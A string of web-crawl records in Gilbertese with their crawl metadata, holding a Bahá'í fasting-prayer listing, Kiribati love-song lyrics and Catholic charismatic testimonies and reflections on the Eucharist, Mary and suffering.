Mamatam\nTe Moantaeka -\nE mwakoro n te Kitáb-i-Aqdas: \"Ti a tia ni motikia nakoimi bwa kam na bwaina te tataro ao te aki mamatam man moan koron te roro n ikawai; aio are e a baaireaki iroun te Atua, am Uea ao…\n114 words\nI onnoniiko, Ngkoe Atuau, ni mwaakan Kanikinaeam, ao man kaotiotin Raoiroim i buakoia aomata, n aki katinanikuai man mataroan te kaawa are Ko mena iai, ao n aki urui au kaantaninga ake I a…\nBahá'u'lláh\n•\n1611 words\nKo na neboaki, te Uea ae Atuau. I bubutii Nakoim ma te nanorinano n te Kaotioti aei are e bitaki iai te ro nakon te oota are e kateaki iai te Tembora ma n ataaki iai Koroboki aika a Tabu ma…\nBahá'u'lláh\n•\n232 words\nAikai boong, Atuau, are Ko a tia ni katauia Am toro bwa a na taua bukin te akimamatam. Are iai are Ko katamaroa iai moan abokan Am Boki n Tua ake a karuoaki i bukiia Am karikibwai, ao ni…\nBahá'u'lláh\n•\n1022 words\nTe mimitong Nakoim, O te Uea Atuau! Aikai bong are Ko a tia ni kataua bwa ni kabane aomata a na katabua te aki mamatam, bwa rinanona a na kona ni kaitiaki tamneia ao ni kakeaa mai irouia…\nBahá'u'lláh\n•\n2150 words\nTe nebonebo nakoim O te Uea ae Atuau. Ti a tia n ira nanon te Aki Mamatam ni kaeineti ma am kaetieti ao n urua ngkai inanon Am tangira ao Kukureim ae raoiroi. Butimwaea ma te nanonaki O…\nBahá'u'lláh\n•\n131 words\nBahá'í Prayers\nGet the app\ncontact us\nfirstname.lastname@example.org\n@bahaiprayersapp\nFind us on Facebook\nBahá'í Prayers\nGet the app","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.bahaiprayers.io\/category?id=302&l=gil","date":"2019-11-12T07:16:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496664752.70\/warc\/CC-MAIN-20191112051214-20191112075214-00090.warc.gz","language":"gil","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000061988830566}","num_words":266,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.41,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Neiko Ko mena i Atuu\nNeiko, moan rokom n au tabo aei ko roko bwa te iruwa ngkoe ko aki karubei matau n teiraoim ngke ea roko nee te tangira man tuangai bwa bon nanou ngkoe ne i kataia n totokoia te ngai e rawa e roko e forcenai\nneiko i know you neiko ae koa tia ni iein ribuakara te tangira e roko n aki karauai\nChorus\nNeiko, neiko ko mena i atuu tera ngke i kona ni get you out i bon aki kona ne ngai bwa nanou e tangiriko you are my beautiful woman x2 my butaritari woman\nNeiko, kakaitibou ma ngkoe ti te kan tarai ngai matam ti te kan kabwatiko ngai\nNgkana i taraiko ao ko katanga nanou aio bwa ko ngke arona bwa ko tuai ni iein Ena tere n oti tangiram irou neiko Bwa N na roko ne ni katenako man uka taningam Te rongorongo ae ena nako mai nanou Ike n na kaotia ae i tangiriko\nChorus\nNeiko, arou ni bane nakoim ae raraoi Kanikinaean tangiram Raneanean nanou ibukim N na tuangko, ko aki kona n nora nanou aio ko aki kona n namakina tangiram Ma ko kona n noria n namakinna n au past oh eh\nTemauri Teraoi Tetabomoa iriai ma ngkoe ne Tia ramwaneaki n ana tangira te Uea\nChorus\nOh nei te kan, nei te kakateke Ae katika nanou, tei meang ni botonaine\nChorus","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2017\/11\/27\/neiko-ko-mena-i-atuu","date":"2020-10-20T12:24:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107872686.18\/warc\/CC-MAIN-20201020105000-20201020135000-00183.warc.gz","language":"gil","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.9999980926513672}","num_words":235,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.298,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Tangira Te Uea\n- Details\n- Written by Administrator\n-\nMauri tariu ao Maneu n tabo nako ake kam mena iai n ana tangira te Uea!!\nI rangi n teimatoa ni karabaia tariu ma maneu ake a teimatoa nanoia ni kakamarurungia ibukin kabutan te rongorongo ae raoiroi n ara beeba ni kaongora ae Emmanuera ngkai e a manga otinako naba ae boou aio.E raba te Uea n ana tangira ma ana akoi rinanon tinara Nei Maria are bon ana tooa te tai aio are Te Riki n Imakurata.\nTi na uringa te karaki are karakinan natiu ae Barry are e a tia ni motirawa ma te rau, bon au moan nati are I tiba aron kananoangan maeuna inanoin aorakin buurona are e a tia ni bain tangiraia Te Uea iai ba E na ringa iai maiu ma au utu ao aio are I tibaia nakoimi ni moan otinakon Emmanuera, ao n aron are e a manga tibaia tinana ao kainabau are Maryanne n Emmanuera are nako.\n- Details\n- Written by Administrator\n-\nReitan te Mii-ni-Burabeti n te Kuna are \"E Roko Iesu\"-\nInanon Emmanuera Vol2, Issue1 ae nako aio ao I bon tabe ni wareware iai ao e rangi n teke nanou n tibatiba mai irouia tarira ao manera ake a toka aia tibatiba ao riki iaon te tibatiba iaon te MI-NI-BURABETI.\nNgai temanna kain te charismatic ae I rangi ni kakoaua te mi anne inanon tain te Nebonebo ba e rangi n rawata tamnei aika a tia n reke irou ao iai aika I tibaia ao iai naba ake I bon taua inanou ba I a manga bon mimiakinna. I taku ba I rangin karaba te tibatiba ao te kabarabara iaon te karea aio mai iroun ara tama ae te Tama Koru ae e kaotai nanoia aomata n te mi-ni-burabeti ba e kanga raoi n ririki n tain te Nebonebo.\n- Details\n- Written by Administrator\n-\ninanon Nei Julia Kim man te aba ae Korea.\nTariu ao maneu, kam na bane ni mauri nana tangira Te Uea. Aio te tai are I a kan tiba iai au namakin ibukin kakannaton te Eukari nakoimi. Au namakin ibukinTe Eukari mangke I moan kaina te botaki aei (Charismatic), bon moan te TABU ba e bon maiu ni koaua IESU iai man maeka iai ni koaua n taai nako 24 te aoa, ao e bon riki naba ba te kabanea ni kakannato n au onimaki ao inanon maiu n tamnei ikai iaon te aba. Ba ngke arona ba akea ngaia ao e na bon akea uaan maiu aei ke au kekeiaki nakoina ba Nang bon babarekareka naba i matan au Uea ma ngkai E kona ni kariaia ae Nna kakaitiboaki ma Rabatana ao bon anne teuana te kaubai inanon maiu ae I mamateakinna ni maiu n tamnei.\n- Details\n- Written by Administrator\n-\nMoan ringan nanou iroun Tinau Nei Maria. I kakoaua ba te Tina ae e onrake n te Karatia ma te tangira ao te akoi. Ao bon te Tina ngaia ae e tauraoi n ongoongo aia bubuti natina n tainako.\nArau Kautu ao I ikawairake n au aro ae te Bahai iroun tibu ae arana Moten. Au ririki ni maiu ai 32. Kainabau bon te katorika Nei Taua Tekaieti. Iai natira temanna te mane ae arana Matiou ao ai waniua ara ririki n tekateka n taanga. Te aomata ngai ae I rarawa n tataro. Ngke I a Katorika ao aron Nei Maria irou akea bonganana kanga I bon aki ata aron kakawakina ma kakannatona ao bon akea naba kinakina irou.\n- Details\n- Written by Administrator\n-\nKam na bane ni mauri tariu ao maneu n Ana Tangira Atiniban Iesu ae moan te Tabu.\nN te tai aio ao ti na kakorakora ao n katurua taran Iesu ae E maiu ao E maeka ni koaua ibuakora n te Eukari. Ti na wareka moa rongorongon Santa Teretia n Avila aio: \"N te taina ao e ongo Santa Teretia n Avila, ana taeka temanna te aomata are e kangai, \" Ngke arona ba I bon maeka n ana tai ni maiu Iesu,...Ngke arona ba e reke au tai n taetae ma Iesu...\"Ni kaekan aikai ao e taku Santa Teretia n Avila, \" Ba akea irarikira? E aera ba ti na ukeuke riki ngkai E maiu ni koaua Iesu n Eukari n arona n Atua ao n Aomata?\nTariu ao maneu, tao ti na titirakinira n te tai aio ba e kanga ngkai aron ara reitaki ma Iesu. Ti kakoaua ba E maeka Iesu irarikira n arona n aomata ao n Atua i aonteaba ngkai, ke E ti maiu n tamnei n ara iango ao e raroa nako? Ngkana ti ataia ba bon raora Iesu n taai nako, ao ti kakoaua namakinan Iesu ni maeura ba E maeka irarikira n taai nako ke n tabetai ao ti nanououa iai? Ti kakoaua ana Taeka are \"E na tiku irarikira ni karokoa tokin aonnaba?\"","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea?start=10","date":"2020-10-26T18:21:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00187.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":803,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.374,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Tangira Te Uea\n- Details\n- Written by Administrator\n-\nKam na mauri tariu ao maneu n Ana Tangira Iesu n te Eukari!\nAio mwin au 'chat' ma tinau are e na kaota ana tangira ma ana kamimi Iesu inanon n nena n tataningaira ae te Eukari.\nKarina; \"mummy, ko aki kan nanoangai ba I a bon taonaki nte maraki. E a rangi ni maraki biritou ao e nakon nukau\". Mummy: \" ba tera ae ko kanna?\"\nKarina: \"I taku ba e nang manga roko aorakiu ma Mummy e a bon rangi n taonai te maraki\".\nNgkana I aoraki n aine are e aki rangi ni katoa namakaina ba e kona n nako namakaina imwiin namakaina ke bon teuana te ririki ao I a manga tiba aoraki ao e bon tataonai te maraki ae moan te bati. E a manga roko naba n te tai aio imwin tao uoua te namakaina n nako.\n- Details\n- Written by Administrator\n-\nMauri n ana tangira Te Uea tariu ma maneu. E rabwa Te Uea n ana tangira nakoimi ao nakoiu ao are Nna tibaia nakoimi n te tai aio rinanon Atiniban tinara Nei Maria ae immakurata ao moan te tabu.\nN te bentekota aio ao e kabane kain te botaki n tataro ae te karetimatiki i Teaoraereke Parish. Imwin te tutia ao e okira te maneaba (St Ioteba). Imwina ao e manga okiraki te umantabu ibukin te kainaomata. Ngke e wakinaki ao e a roko makorona ae te ianena n te moan tai ao I kamatua matau man roko nanou n takarua ni ianena. I a tii nora naba ruon te Ota iaora ni bane, I kaurea matau mani karaba Te Uea n oin au taetae ao are I a manga tomaia n au nebonebo ni ianena. E kea n tang temanna ao e manga tang are irarikiu ao te tataro ni ianena are bon korakora naba ni karokoa ae maraara ao ti a tekateka. E a teirake temanna ni kauka ana taeka Te Uea man warekia ao bon rongorongon teuare Antiokuti. E kabarabara te Tama n taekan te wareboki are E ongoraeaki n te tai anne ao imwina a weteaki taan kainaomataki n araia aika kakaokoro ba a na waerake ao n tekateka imoa irarikin te baonikarea. A teirake te koraki ni katokaki te bai iaoia taan kainaomataaki.\n- Details\n- Written by Administrator\n-\nN te Tabati ae 20 June imwiin te Tutia n te Cathedral are e kairaki iroun ana group St. Padre Pio ao e a katanoataki iroun Uriam bwa e na karaoaki te kaoki rii n ana auti. N te tai anne ao e rang korakora nanou ni kan nako n ira te kaokiri ma natiu. I aki toki n tareboon bwa antai aine ake a tia n roko n ana auti Uriam. E a bon oia are e a boo teniua (3.00pm) n te bwakantai ao I ana au Divine Mercy (Bau n Nanoanga) n te ruu ti ngai. Bon imwiin au tataro ao I kainabwaabu teutana te tai ao ti tebo e a bon roko naba te taetae I nanou ae e kangai \"Ko a kawarai n Umwau ae e Tabu n te aoa 3.00pm n te ingabong\" are nanona bon te Moanibong ae 21 June 2010. I rang tiku ni kantaninga te taeka nanon te taeka arei. E a ingabong ao I a rang kariaria te tai arei ao e a bon roko irou bwa ai tera ana rongorongo te Uea are e nang tuangai. Ao I a bon taku inanou tao e nang tuangai taekan te Prediction ke te kataunaare iaon taekan te Tsunami are aongkoa kanoan te kaoti are e atoatongaki bwa e na reke n 23 June 2010. Iai riki bwaai aika a roko n au iango ma I aki kona n uringi.\n- Details\n- Written by Administrator\n-\nN ara onimaki ni katorika ao ti kakoaua ba ngkana e onikaki te bane ma te wain ao a bon bitaki ni koaua nakon Rabatan ma Raran Iesu. Aio bon oin ara onimaki are ti a tia reireinaki inanon te aro ao ngaia naba are ti kantaningaaki ba ti na onimakinna. Ti kakoaua ba ataakin te koaua aio e bon rangi ni kaokoro ma onimakinana.\nKam na mauri tariu ao maneu n Ana tangira Iesu are E maeka ni koaua inanon te Eukari.\nIai n taai tabetai ae I bon manga titiraki ba e boni koaua ae Iesu are E mena n te bane arei? I bon aki naba iaiangoia ba te wain arei ai bon te rara are raraan Iesu. N na kaetia raoi man kangai e bon rawa nanou ni iangoia ba iai te rara inanon te mangko are e taua te Tama iaon te baonikarea. Ao ngkoe tera am iango?\n- Details\n- Written by Administrator\n-\nMauri Tariu ma Maneu n Ana Tangira te Uea !!!!!!\nTe moantaeka ae I kan taekinna bon te karabaraba nakoia tariu ma maneu ake a tia ni karekea iangoan kamaeuan Emmuera Newsletter n te ririki aio ba e na manga karaka riki te kamaiu nakoira ngaira ana botanaomata te Uea aika ti a tiba namakina ana tangira te Uea, ao riki ai manga te kabouaki nakoia tarira ma manera ake a tia ni bua inanon te tai ae maan inanon kaibabarun ao reimauruan te maiu aio. I karabaia naba tariu ma maneu n aia tibatiba are e reke taina n te tai aio n tibwaki inanon ara nutibeba aio ba reitakin ana tangira te Uea ni manga kamarurungira ao ni kakorakoraira.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea?start=15","date":"2020-10-26T18:36:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00192.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":900,"character_repetition_ratio":0.06,"word_repetition_ratio":0.002,"special_characters_ratio":0.229,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Tangira Te Uea\n- Details\n- Written by Administrator\n-\nMauri tariu ma maneu n ana Tangira te Uea. Imain ae I waaki nako ao I a kan rimoa ni kamatatai moa nakoimi tariu ma maneu n ana Tangira te Uea. Ngai bon kain te aro ae Wetire (Wesley) ao kainabau bon te Katorika.\nNi moan irirakin te botaki ni charismatic n te Katorika ao bon akea kakoauan Nei Maria irou kioina ba akea n te onimaki n Wetire nakon Nei Maria. Inanon irirakin te botaki aei, tao inanon te kauoua ni wiki ao e roko teuana te mi ae kamimi mani kakukurei are a tiba reke inanon maiu. I mi ba I nebonebo n te Hall i Rabi ao inanon au tai n nebonebo ao I a ongo banaia aomata ae a kangai, \"E nang ruo Iesu mai Karawa, ao a roko kain Buakonikai, Tabiang, Uma ao kain Tabwewa\". Ao iai ae manga takarua ni kangai, \"E a ruo Iesu\". I a kaurea naba matau ao I a noria kain te Charismatic mai Suva.\n- Details\n- Written by Administrator\n-\nAna Baintangira ao Ana Karea Te Uea ae Boiarara!!\nI kan tabekarake banau n neboa Te Uea n ana Tangira nakoira ngaira ni kabane, ao ibukin ana karea are E anganganiira n tatabemaniira nako…Ko raba Te Uea n am karikibai aika a rangi tamaroa.\nNgai temanna ae I rangi n kakaitau ao man kakoaua aron maakan ao mimitongin ana Tangira Te Uea n ana makuri aika a rangi n maiti aika I aki kona n kabarabarai ni wanawanau n aron kororaoin ana Tangira ma ana akoi nakoira ngaira natina aika ti kekeiaki ribuakon rawawatan te maeu aei.\n- Details\n- Written by Administrator\n-\nMoan Rairakina man Te Kamatu nakon te Te Katorika n te ririki 2005, iaon Abaunamou Teaoraereke (Te Ran ni Kamaiu Kurubu)\nNei Ngaretin bon te Kamatu ni koaua ae natin Ioram Robati ma Nei Erenoa Moniketi aika kain te kawa ae Buariki I Onotoa ao bon mitinare ana karo aikai n te Kamatu ngkoa. E iein Nei Ngaretin ma Teikake Teakauea ae kain Makin ae bon te Katorika, ma ngke a mare ao a mareaki n te Kamatu iaan te babaire are a boraraoi iai aia karo.\nMoan namakinan ana wewete Te Uea nakon Ngaretin ngke a taonna te aoraki ae te kabuebue ma te biua ao te aki mimim ao ai te maraki ngkana e nakotari inanon te maan ae uoua tabun (2) te namakaina, ao ngkana ena bain aoraki ao ea bon anganga buaka naba. N te taina ao e matu ngaia inanon ana auti ao e mi ba iai te aine ae e kawaria ao n titirakinna ba tera ae riki irouna, ao e kaeka ni kangai I wene ba I aoaraki.\n- Details\n- Written by Administrator\n-\nN tain te waaki ni kainaomata ao iai iterana ae kabanean tabeua te miniti ni kakaea raoi nanon ana tangira te UEA iroun temanna ma temanna. I teitei itinanikun te Umantabu n aia tabo kain te MSC inanon te waaki ni kainaomata e aki rereke iangoana irou ao e kakubai te iango are e kareai bwa kanga ai aron iangoan ae I a kakaea te mam I Kiribati. Ko na kanga ni kakaea te mam? Bon man kenakin aontano ae matoatoa arona ni ua ae ko roko n te ran. Ngkana e tarika ao are ko na manga moana riki am keniken n te tabo teuana ibukin kakaean riki te mam ni ua e bon reke iroum.\n- Details\n- Written by Administrator\n-\nKam na mauri ngkamii taani wareware inanon te beeba ni kaongora ae te Emmanuera inanon ana Tangira ara Uea ae Iesu Kristo\nBon te kaitau moa ae bati nakon te botaki ae te Karitimatic ngkai e kona naba n anganira ara tai ngaira ake ti a tia n nori aron taiani kakai nakoira; ba ti na tibaia naba nakoia tarira ao manera inanon te 'Emanuera'.\nE koaua ba bon temanna naba ngai are I a tia naba ni boo ma ana kakai Nei Maria. Aio e bon riki nakoiu inanon te ririki 2008.\nBon te namakaina ae Aokati n te ririki anne are bon ana namakaina Nei Maria. I a mananga ba Nna karaoa au korona n te Umantabu ae 'Santo Bauro 2' i Takoronga i Betio. Ai bon tiba au moan tai naba ni karaoa au tataro n te Umantabu n te tai annne iaan are a bon tuai raoi n rangi ni mate ni kuna taian tataro irou. Bon ti teuana ae I rabakau ba te korona.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea?start=5","date":"2020-10-26T18:47:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00681.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":743,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.385,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matan te Anera\nMatan te Anera\nMatam ae takia Mwiiu n te tairiki\nAo I mwiia ba au bai ngkoe I ataia I mwanokaiko\nNgai bon akea iaou I nanon ara tai ni maroro\nChorus\nAo ngkoe e mamara inanou Ma ni kani bua ikeu Ngke I a kataia n tuangnga\nMa e bane ni bua au taeka Ngkana ko ngare nakoiu\nAo e a mino te aonnaba Ooo…inanon ara tai ni maroro\nI aki konaa ba I a riki n ataei tao ibukin e a karika karabaan au tangira I ataia I mwanokaiko ngai bon akea iaou Inanon ara tai ni maroro","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/www.kirilyrics.com\/single-post\/2018\/11\/19\/matan-te-anera","date":"2020-10-28T02:57:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107896048.53\/warc\/CC-MAIN-20201028014458-20201028044458-00103.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":103,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.35,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Tangira Te Uea\n- Details\n- Written by Administrator\n-\nInanon te bong ae te Kaabong 23 Tebetemba, 2010 ao e rina n roko te rongorongo irou mairoun Riwata mai Tarawa ba ngaia taekan temnna kain ara botaki ae St Padre Pio. E bon roko te rongorongo aio n te email n aron e oti inano.\nmairoun Riwata....\"Imain ngkoananoa ao I mii ba ti nebonebo i Tarawa ikai. I aikoa rangi n uringnga raoi ba iia te tabo ao ti mena iai n te tai anne. Ti tabe ni botaki n anene, ao ni kamronron n tekateka, tabeman ara koraki, ao I a tii kuba naba ngke e a kaoti naba mai bukiu temanna te aomata ae kanga e bainna n te kamarai mainaina ao e beenna ni Fiji (bee ni biti). E a tabe ni waki rake ao n tuangngai ba inanon ara tai n anene arei, ao te kuna are ti anaia arei bon kunana ae e baebaeta iai nanona ae kakawa man rawawata ngkai e a bon aki kona riki te bai teuana ma ai bon ti baetan nanona ae e a kababanea inanon te kuna arei are ti tabe n anaia ma kain ara botaki n tataro ni charismatic.\n- Details\n- Written by Administrator\n-\nMauri n Ana Tangira Te Uea,\nArau bon Nei Raawa Raakau ao bon kaain Onotoa. 42 au ririki ni maeu ao bon te KPC ngai. Ngke 19 au ririki ao I bon ira buu ae Turere nako Tuvalu. Ngke I roko i Tuvalu ao e kabakaaki arau nakon Meriteiti. N te ririki naba anne 1987 ao e reke naba irou te aoraki ae te kaatikitiki. Inanon te ririki 1992 ao I a oki nako Tarawa ba I iangoa kakaeani buokau. I boni bain aorakiaki n te riaboro ma e a aki reke tokina. N te ririki 2002 ao I a oki nako abau ae Onotoa ba ngkana arona ba I rina ni kabuanibai man aorakiu aei ao e raoiroi riki ae I taunaki i Onotoa.\n- Details\n- Written by Administrator\n-\nTiem e a riki ngkai ba temanna naba kain te Charismatic iaon Betio. E bati Ana Tangira Te Uea nakoina ba e kaekaki ana tataro nakon Nei Maria ba e kan waekoa ni kaina te Katorika. E a tia ni babetitoaki ao ni moani komunio naba iroun Te Tama Koru inanon te namakaina ae Tebetemba. Tiem e bakara ana ka-5 wiiki ni kooti (Maeu ae Onraken teMaeu). E na riki Tiem ba temanna naba te tia kainaomataki iroun te Tamnei ae Raoiroi n ana Tutia n Reitaki te Charismatic are ena karaoaki te namakaina aio ae Okitoba.\n- Details\n- Written by Administrator\n-\nMauri n Ana Tangira Te Uea,\nArau Katarake Tabera ao Tinau Teangawa ao au ririki ni maiu 24 ao aran kainabau bon Nei Tearimawa ao temanna natira te aine ao kain ngai Arorae, Tamana ao Maiana.\nRongongou n te 1999 nakon 2004 ao bon te Mormon ngai ao imarenan ririki akanne inanon 2002 ke 2003 ao n te tairiki teuana ao I mii inanon matu ba I anganaki teuana te bai n tatakaro ae aknga te bai ni katomatoma (te puzzle) ba Nna katomatoma, ao I a kubanako ba e aki te roko n toma te bai are I anganaki, ngaia are I a angan tariu ae karimuin karimuiu ba e na katoma. Ngke e a katoma tariu arei ao I rangi ni mimi ngke e a anganai ao e a toma ao ai tamnein Nei Maria ae toba natina Iesu Kristo ao I a bon uti naba. Ngaia are e a ingabong ao I a karakinna nakoia kain au auti aron miiu are I aki ata nanona.\nNgaia tao bon nanona ae I a Katorika n te ririki aei,ao nang bon tiku n ana aro tinau ae Nei Maria ao Nna teimatoa n au onimaki ni karokoa ae I a manga kaina te botaki ae te kareitimatiki. Ngai bon kaain naba te kainaomataki nte Tabati ae nako 26th Tebetemba 2010. Ko raba tinau Nei Maria ma Natim ae Iesu Kristo.\nKatarake Tabera, St Faustina, Betio Parish\n- Details\n- Written by Administrator\n-\nNgai bon te kamatu ma Tiare ae kainabau bon te katorika. Bon iai bukin irirakin te Taromauri ke te Tutia n te umantabu ni katorika. I aki toki n tatangira te tai are e tabeka iai te bane ma te wain te Tama, ba I a tia n tuangaki ae anne te kabanea ni kakawaki n tai inanon te tutia. N te tai aei ao I bon aki toki n tuanga natiu ba e na tataro ibukin tamana ba e kamarurungaki man aorakina ae tangiran te manging irouna.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea","date":"2021-01-21T17:36:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00638.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":751,"character_repetition_ratio":0.065,"word_repetition_ratio":0.005,"special_characters_ratio":0.236,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nInanon au tai n reirei i Canberra i Aotiteria ao I a nako n te taina ni kawara te tabo n tataro teuana are kanga bon Bangotan Nei Maria iaon Aotiteria. N rokou ikekei ao e bon rangi n rotaki nanou n namakinan angin te tabo aio are I taku ba e onrake n ana tangira te Uea ao kanga akea te moan bai are e reke ba ai bon ti te kan tataro. I nako ngkanne ni kawara temanna te Tama ian te kai teuana ba Nna kaotibure ao bon iai naba au korona ae I uotia ba e na katabuaki. Ngke I a roko iroun te Tama ao e a nora au korona inanon baiu ao e taku; \"Ai tikiraoira te bai ae ko uouotia\". E a manga titirakinai ni kangai; \" Ao ko ataia ba e aera ngkai e moanaki te korona man te kaibangaki? E aki waekoa n reke au kaeka ma e a manga kabarabara te Tama n taku, \"Ko atai moromoron te korona aika nimabui? kanga a tei ibukin ana karaoiroi te Atua ae E kani kabaroa iaom. Ma ti teuana aron reken taian kakabaia ma karaoiroi aikai ba ti te KAIBANGAKI.\nE boni koaua tariu ma maneu ae te kaibangaki bon te bai ae ti riai n rinanona ao akea ae e kona ni birinako ma iai. E taku ana taeka te Uea nakoira n te Tabati aio ba ti riai ni kaakeaira boni ngaira,ti na tabeka ara kaibangaki man irira Iesu.\nN tabetai ao ti titiraki nakon te Uea ba e aera ngkai NGAI ae I anganaki te maraki ma te rawawata ao ti taku ba E ribuaka te Atua nakoira. Ke tao n tabetai ao ti bubuti ba e na kanakoaki mairoura te kaibangaki ba ti tuai n tauraoi ni butimaia. Ma te bai ae kakawaki ba ti riai n tauraoi ni waki nako n uota ara kabaingaki ni karokoa tokina. N aiaron Iesu are E uota ana kaibangaki ni karokoa tokina n te kawario ao ti riai naba ngaira ni keiaki ni uoti ara kaibangaki ni karokoa tokina ba ti aonga ni kona ni karekea uana are bon te kona ni mangauti ma Iesu inanon te mimitong. Ngkana ti taku ba ti kan nora makan te Atua ibuakora ao akea riki kawaina ba ti rinanon ana kaibangaki Iesu. Korakorara inanon ara botaki ni charismatic bon ti inanon naba te kaibangaki. Tariu ma maneu ti na butia te Atua ba E na anganira te tauroai ni butimaai ara kaibangaki ao n aki bakataeia ibukina ba ngkana ti anganaki te kaibangaki ao bon iai nanon te Atua ae moan te kakawaki iai ibukira.\n- Details\n- Written by Uriam Timiti\n-\nTi bane n uringa n te bong aio Santa Monica are tinan Santo Augustine. E rangi ni kakanato te tina aio ibukin korakoran ana onimaki n tataro ibukin natina ae Aukitino ba e na rairaki maiuna nakon te Uea. E ngae ngke e aki kaekaekaki ana tataro ni bubuti i nanon ririki aika bati ao e bon aki bara nanon te tina aio ni karokoa ae e a kaekaki ana bubuti ba e raira nanona natina ae Aukitino; e riki ba te Tama ao imuina e te tia reirei ae kakannato man rabakau. Ibukin rianakon wanawanana ao e a tia te Ekaretia n tabekia nakon aia baonikarea aika a tabu n riki ba te Santo ao ni karikaki naba ba Taokitan te Ekaretia.\nTe reirei ae kakawaki ikai ba ti na riai ni kakatotonga Santa Monica n onimakina te Atua ba E tauraoi ni kaekai ara buburti n taai nako ao ba E na bon kaekaira n aron ae E ataia ba te kabanea n tamaroa ibukira. E taku te taeka n rabakau teuana ba ngaira aomata ti bon ti kona n nora are i tabon bairira; ma te Atua bon akea tokin ana taratara ao Ngaia ae te Atua ae kariki baai ni kabane ti bon aki kona n rota wanawanana ma makana. Ngaia are e bon riai n taai nako ba ti na onimaki ngkana ti bubuti ao n tauraoi ni muiokoi arora ma kainnanora ni kabane i nanon bain te Uea.\nTeuana naba te bai ae reireinira Santa Monica ba bon ti ara bai ngaira aomata te tataro ni bubuti ao bon ana bai te Atua te kamaiu ma te rairannano. Bon aio naba te reirei ae kakawaki iroura ngaira kain te botaki n tataro ibukia aoraki ba n tabetai ao ngkana ti tataro ibukin te aoraki ao akea ara kantaninga ba ti reken te marurung iroun te aoraki ao n tabetai ti kona ni marara ngkana e aki marurung ara aoraki. Ti riai ni kawakinira n taai nako ba t i na aki roko n ana maake te Atua ma ti na teimatoa n ara onimaki ni bubuti ma te aki barannanno.\n- Details\n- Written by Uriam Timiti\n-\nTe tauraoi n taai nako ibukin te Uea boni ngaia aron uakoraan wanawanara iroun te Uea. Tariu ma maneu n tabetai ao ti taku ba e tei te tai ao ti taku naba ba e kiriaria te tai ae E na weteira iai te Uea. Ma ti kakoaua n te wareboki n te bong aio ba aio te aeka n tai are ti aki kona n ataia ba e na roko nningai. Tariu ma maneu aio te koaua ae ti riai ni butimaia ao ni kammakuria inanora ba muina ao ti reke n te kabuanibai. Bon kaotan te wanawana ni koaua iroura ngkana ti tatauraoi n taai nako. Bon aio naba ana rongorongo Nei Maria nakoira ba ti na maiu n te bong aio n aiaron are ai ara kabanea ni bong. N aiaroia aine ake niman ake a wanawana ao ti na tatauraoi ma ara baa ba ti aonga ni kona ni butimaea te tia Mare ngkana E a roko. Ara baa 